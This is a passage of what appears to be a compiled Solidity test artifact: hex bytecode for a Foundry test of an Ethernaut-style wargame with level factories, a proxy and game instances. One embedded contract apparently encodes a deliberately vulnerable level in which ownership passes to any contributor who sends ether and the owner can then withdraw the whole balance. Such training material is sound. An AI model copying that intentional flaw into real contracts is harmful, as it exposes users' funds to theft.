90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6104c48061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461032e565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610350565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461032e565b6101b9565b61011461024e565b61011d5f6102a7565b565b5f60405161012c9061030e565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f80839050806001600160a01b0316639d9a7fe96040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b19190610387565b949350505050565b6101c161024e565b6001600160a01b0381166102425760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024b816102a7565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610239565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60e8806103a783390190565b6001600160a01b038116811461024b575f80fd5b5f6020828403121561033e575f80fd5b81356103498161031a565b9392505050565b5f8060408385031215610361575f80fd5b823561036c8161031a565b9150602083013561037c8161031a565b809150509250929050565b5f60208284031215610397575f80fd5b81518015158114610349575f80fdfe608060405234801561000f575f80fd5b5060cc8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c80639d9a7fe9146034578063f51f4738146053575b5f80fd5b5f54603f9060ff1681565b604051901515815260200160405180910390f35b6070605e3660046072565b5f805460ff1916911515919091179055565b005b5f602082840312156081575f80fd5b81358015158114608f575f80fd5b939250505056fea26469706673582212202f94ec7b55ec6c84c0ab4147d49c73013beaad07b3b53038b0cf3a86c10dbe6364736f6c63430008180033a26469706673582212203eef1084593953d8aa41e0359ec7f57b2e082cbff0a9f4daaeaca9b73e59454064736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61077d8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610359565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461037b565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610359565b6101e3565b610114610278565b61011d5f6102d1565b565b5f8060405161012d90610338565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd91906103b2565b6001600160a01b03161480156101db57506001600160a01b03811631155b949350505050565b6101eb610278565b6001600160a01b03811661026c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610275816102d1565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610263565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61037a806103ce83390190565b6001600160a01b0381168114610275575f80fd5b5f60208284031215610369575f80fd5b813561037481610345565b9392505050565b5f806040838503121561038c575f80fd5b823561039781610345565b915060208301356103a781610345565b809150509250929050565b5f602082840312156103c2575f80fd5b81516103748161034556fe608060405234801561000f575f80fd5b50600180546001600160a01b031916339081179091555f908152602081905260409020683635c9adc5dea00000905561032f8061004b5f395ff3fe60806040526004361061005b575f3560e01c80638da5cb5b116100415780638da5cb5b14610100578063d7bb99ba14610137578063f10fdf5c1461013f575f80fd5b80633ccfd60b146100ac57806342e94c90146100c2575f80fd5b366100a8575f3411801561007c5750335f9081526020819052604090205415155b610084575f80fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191633908117909155005b5f80fd5b3480156100b7575f80fd5b506100c061015f565b005b3480156100cd575f80fd5b506100ed6100dc36600461028e565b5f6020819052908152604090205481565b6040519081526020015b60405180910390f35b34801561010b575f80fd5b5060015461011f906001600160a01b031681565b6040516001600160a01b0390911681526020016100f7565b6100c0610210565b34801561014a575f80fd5b50335f908152602081905260409020546100ed565b6001546001600160a01b031633146101d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640160405180910390fd5b6001546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561020d573d5f803e3d5ffd5b50565b66038d7ea4c680003410610222575f80fd5b335f90815260208190526040812080543492906102409084906102bb565b90915550506001546001600160a01b03165f9081526020819052604080822054338352912054111561028c576001805473ffffffffffffffffffffffffffffffffffffffff1916331790555b565b5f6020828403121561029e575f80fd5b81356001600160a01b03811681146102b4575f80fd5b9392505050565b808201808211156102f3577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b9291505056fea2646970667358221220da6be5c84540332154b3e10482c62beb46861f512f81969bbbfb64f70a04416f64736f6c63430008180033a2646970667358221220214a663425b34a1fc181a75b09723612eb98c7fb4938c2194defea9689cf928164736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6102498061007a5f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c8063715018a6146100435780638da5cb5b1461004d578063f2fde38b1461006b575b5f80fd5b61004b61007e565b005b5f54604080516001600160a01b039092168252519081900360200190f35b61004b6100793660046101e6565b610091565b610086610126565b61008f5f61017f565b565b610099610126565b6001600160a01b03811661011a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6101238161017f565b50565b5f546001600160a01b0316331461008f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610111565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602082840312156101f6575f80fd5b81356001600160a01b038116811461020c575f80fd5b939250505056fea2646970667358221220b86dc1707c33acf524ee38da1dedde257b19c5c7da05fc6b6459b042126bb54364736f6c63430008180033885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12da2646970667358221220bf1ba92a9cb4cf6dad0ee85dae92b4ecc6357a7335b89e454ba7ad48408528d564736f6c63430008180033","sourceMap":"512:5932:120:-:0;;;3126:44:2;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;;1016:26:12;;;;;;;;;;;512:5932:120;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b506004361062000164575f3560e01c80636aeac89111620000d7578063ba414fa61162000087578063da146abe116200006b578063da146abe1462000260578063e20c9f71146200026a578063fa7626d41462000274575f80fd5b8063ba414fa6146200023b578063c42b6c611462000256575f80fd5b8063916a17c611620000bb578063916a17c6146200021d578063984e57031462000227578063b5508aa91462000231575f80fd5b80636aeac89114620001fa57806385226c811462000204575f80fd5b8063306d664e11620001335780633f7286f411620001175780633f7286f414620001cd5780634be4555614620001d757806366d9a9a014620001e1575f80fd5b8063306d664e14620001b95780633e5e3c2314620001c3575f80fd5b80630a9254e414620001685780631ed7831c14620001745780632ade388014620001965780632c60fe9614620001af575b5f80fd5b6200017262000282565b005b6200017e6200080c565b6040516200018d919062002c89565b60405180910390f35b620001a06200086e565b6040516200018d919062002cfb565b62000172620009b6565b6200017262000eef565b6200017e62000ff6565b6200017e62001056565b62000172620010b6565b620001eb6200166e565b6040516200018d919062002dd9565b6200017262001768565b6200020e620019fc565b6040516200018d919062002ea6565b620001eb62001ad1565b6200017262001bcb565b6200020e62001ec0565b6200024562001f95565b60405190151581526020016200018d565b6200017262002069565b620001726200256d565b6200017e62002afc565b601e54620002459060ff1681565b604051620002909062002c27565b604051809103905ff080158015620002aa573d5f803e3d5ffd5b50602080546001600160a01b0319166001600160a01b039290921691821790556040517f792e11f5000000000000000000000000000000000000000000000000000000008152600360048201525f919063792e11f5906024015f604051808303815f875af11580156200031f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000348919081019062002fc4565b9050805f815181106200035f576200035f6200306a565b6020908102919091010151602180546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f55736572203100000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b15801562000407575f80fd5b505af11580156200041a573d5f803e3d5ffd5b50505050806001815181106200043457620004346200306a565b6020908102919091010151602280546001600160a01b0319166001600160a01b03928316179055602154604080516318caf8e360e31b81529190921660048201526024810191909152600660448201527f55736572203200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004e1575f80fd5b505af1158015620004f4573d5f803e3d5ffd5b50505050806002815181106200050e576200050e6200306a565b6020908102919091010151602380546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620005b6575f80fd5b505af1158015620005c9573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000624575f80fd5b505af115801562000637573d5f803e3d5ffd5b50505050604051620006499062002c35565b604051809103905ff08015801562000663573d5f803e3d5ffd5b50601e60016101000a8154816001600160a01b0302191690836001600160a01b03160217905550604051620006989062002c43565b604051809103905ff080158015620006b2573d5f803e3d5ffd5b50602354601e546040516001600160a01b039283169261010090920490911690620006dd9062002c51565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562000717573d5f803e3d5ffd5b50601f80546001600160a01b0319166001600160a01b03928316908117909155601e546040517fbe117dfd000000000000000000000000000000000000000000000000000000008152600481019290925261010090049091169063be117dfd906024015f604051808303815f87803b15801562000792575f80fd5b505af1158015620007a5573d5f803e3d5ffd5b505050505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007f2575f80fd5b505af115801562000805573d5f803e3d5ffd5b5050505050565b606060168054806020026020016040519081016040528092919081815260200182805480156200086457602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000845575b5050505050905090565b6060601d805480602002602001604051908101604052809291908181526020015f905b82821015620009ad575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000995578382905f5260205f2001805462000903906200307e565b80601f016020809104026020016040519081016040528092919081815260200182805462000931906200307e565b8015620009805780601f10620009565761010080835404028352916020019162000980565b820191905f5260205f20905b8154815290600101906020018083116200096257829003601f168201915b505050505081526020019060010190620008e3565b50505050815250508152602001906001019062000891565b50505050905090565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562000a0d575f80fd5b505af115801562000a20573d5f803e3d5ffd5b505050505f60405162000a339062002c5f565b604051809103905ff08015801562000a4d573d5f803e3d5ffd5b50601e5460405163080808f560e21b81526001600160a01b0380841660048301529293506101009091049091169063202023d4906024015f604051808303815f87803b15801562000a9c575f80fd5b505af115801562000aaf573d5f803e3d5ffd5b505050505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000afc575f80fd5b505af115801562000b0f573d5f803e3d5ffd5b50506021546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000b6a575f80fd5b505af115801562000b7d573d5f803e3d5ffd5b5050601f5460405163f3a3990960e01b81526001600160a01b03858116600483015262000bfc9450909116915063f3a39909906024015b602060405180830381865afa15801562000bd0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000bf69190620030b8565b62002b5c565b5f805160206200cdf28339815191525f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000c45575f80fd5b505af115801562000c58573d5f803e3d5ffd5b5050601e5460405163dfc86b1760e01b81526001600160a01b038581166004830152610100909204909116925063dfc86b1791506024015f604051808303815f87803b15801562000ca7575f80fd5b505af115801562000cba573d5f803e3d5ffd5b505050505f5f805160206200cdf28339815191525f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000d0c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000d35919081019062003164565b90505f815f8151811062000d4d5762000d4d6200306a565b60200260200101515f015160028151811062000d6d5762000d6d6200306a565b60200260200101515f1c90505f81905062000dea816001600160a01b0316639d9a7fe96040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000dbe573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000de49190620030b8565b62002bd4565b601f5460215460405163e2d8716f60e01b81526001600160a01b039182166004820152868216602482015262000e4592919091169063e2d8716f906044015b602060405180830381865afa15801562000dbe573d5f803e3d5ffd5b601e546040516364416be160e11b81526001600160a01b0384811660048301526101009092049091169063c882d7c2906024015f604051808303815f87803b15801562000e90575f80fd5b505af115801562000ea3573d5f803e3d5ffd5b5050601f5460215460405163e2d8716f60e01b81526001600160a01b039182166004820152888216602482015262000ee994509116915063e2d8716f9060440162000e29565b50505050565b5f60405162000efe9062002c5f565b604051809103905ff08015801562000f18573d5f803e3d5ffd5b5060405163f28dceb360e01b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063f28dceb3906064015f604051808303815f87803b15801562000f94575f80fd5b505af115801562000fa7573d5f803e3d5ffd5b5050601e5460405163080808f560e21b81526001600160a01b038581166004830152610100909204909116925063202023d491506024015f604051808303815f87803b158015620007f2575f80fd5b606060188054806020026020016040519081016040528092919081815260200182805480156200086457602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000845575050505050905090565b606060178054806020026020016040519081016040528092919081815260200182805480156200086457602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000845575050505050905090565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156200110d575f80fd5b505af115801562001120573d5f803e3d5ffd5b505050505f604051620011339062002c5f565b604051809103905ff0801580156200114d573d5f803e3d5ffd5b50601e5460405163080808f560e21b81526001600160a01b0380841660048301529293506101009091049091169063202023d4906024015f604051808303815f87803b1580156200119c575f80fd5b505af1158015620011af573d5f803e3d5ffd5b505050505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620011fc575f80fd5b505af11580156200120f573d5f803e3d5ffd5b50506021546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200126a575f80fd5b505af11580156200127d573d5f803e3d5ffd5b5050601f5460405163f3a3990960e01b81526001600160a01b038581166004830152620012b99450909116915063f3a399099060240162000bb4565b5f805160206200cdf28339815191525f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001302575f80fd5b505af115801562001315573d5f803e3d5ffd5b5050601e5460405163dfc86b1760e01b81526001600160a01b038581166004830152610100909204909116925063dfc86b1791506024015f604051808303815f87803b15801562001364575f80fd5b505af115801562001377573d5f803e3d5ffd5b505050505f5f805160206200cdf28339815191525f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620013c9573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620013f2919081019062003164565b90505f815f815181106200140a576200140a6200306a565b60200260200101515f01516002815181106200142a576200142a6200306a565b6020908102919091010151604051631ea3e8e760e31b81526001600482015290915081906001600160a01b0382169063f51f4738906024015f604051808303815f87803b1580156200147a575f80fd5b505af11580156200148d573d5f803e3d5ffd5b50505050620014d2816001600160a01b0316639d9a7fe96040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000bd0573d5f803e3d5ffd5b601e546040516364416be160e11b81526001600160a01b0384811660048301526101009092049091169063c882d7c2906024015f604051808303815f87803b1580156200151d575f80fd5b505af115801562001530573d5f803e3d5ffd5b5050601f5460215460405163e2d8716f60e01b81526001600160a01b03918216600482015288821660248201526200157694509116915063e2d8716f9060440162000bb4565b60405163f28dceb360e01b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c72656164796044820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063f28dceb3906064015b5f604051808303815f87803b158015620015ef575f80fd5b505af115801562001602573d5f803e3d5ffd5b5050601e546040516364416be160e11b81526001600160a01b038681166004830152610100909204909116925063c882d7c291506024015f604051808303815f87803b15801562001651575f80fd5b505af115801562001664573d5f803e3d5ffd5b5050505050505050565b6060601b805480602002602001604051908101604052809291908181526020015f905b82821015620009ad575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200174f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620016fb5790505b5050505050815250508152602001906001019062001691565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017bf575f80fd5b505af1158015620017d2573d5f803e3d5ffd5b505050505f604051620017e59062002c5f565b604051809103905ff080158015620017ff573d5f803e3d5ffd5b5090505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200184b575f80fd5b505af11580156200185e573d5f803e3d5ffd5b50506021546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b158015620018b9575f80fd5b505af1158015620018cc573d5f803e3d5ffd5b505060405163f28dceb360e01b815260206004820152601960248201527f54686973206c6576656c20646f65736e277420657869737473000000000000006044820152737109709ecfa91a80626ff3989d68f67f5b1dd12d925063f28dceb391506064015f604051808303815f87803b15801562001948575f80fd5b505af11580156200195b573d5f803e3d5ffd5b5050601e5460405163dfc86b1760e01b81526001600160a01b038581166004830152610100909204909116925063dfc86b1791506024015f604051808303815f87803b158015620019aa575f80fd5b505af1158015620019bd573d5f803e3d5ffd5b5050601f5460405163f3a3990960e01b81526001600160a01b038581166004830152620019f99450909116915063f3a399099060240162000e29565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b82821015620009ad578382905f5260205f2001805462001a3f906200307e565b80601f016020809104026020016040519081016040528092919081815260200182805462001a6d906200307e565b801562001abc5780601f1062001a925761010080835404028352916020019162001abc565b820191905f5260205f20905b81548152906001019060200180831162001a9e57829003601f168201915b50505050508152602001906001019062001a1f565b6060601c805480602002602001604051908101604052809291908181526020015f905b82821015620009ad575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562001bb257602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162001b5e5790505b5050505050815250508152602001906001019062001af4565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001c22575f80fd5b505af115801562001c35573d5f803e3d5ffd5b505050505f60405162001c489062002c6d565b604051809103905ff08015801562001c62573d5f803e3d5ffd5b50601e5460405163080808f560e21b81526001600160a01b0380841660048301529293506101009091049091169063202023d4906024015f604051808303815f87803b15801562001cb1575f80fd5b505af115801562001cc4573d5f803e3d5ffd5b505050505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001d11575f80fd5b505af115801562001d24573d5f803e3d5ffd5b50506021546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562001d7f575f80fd5b505af115801562001d92573d5f803e3d5ffd5b5050601f5460405163f3a3990960e01b81526001600160a01b03858116600483015262001dce9450909116915063f3a399099060240162000bb4565b5f60405162001ddd9062002c7b565b604051809103905ff08015801562001df7573d5f803e3d5ffd5b5090505f805160206200cdf28339815191525f1c6001600160a01b031663f48448146040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001e43575f80fd5b505af115801562001e56573d5f803e3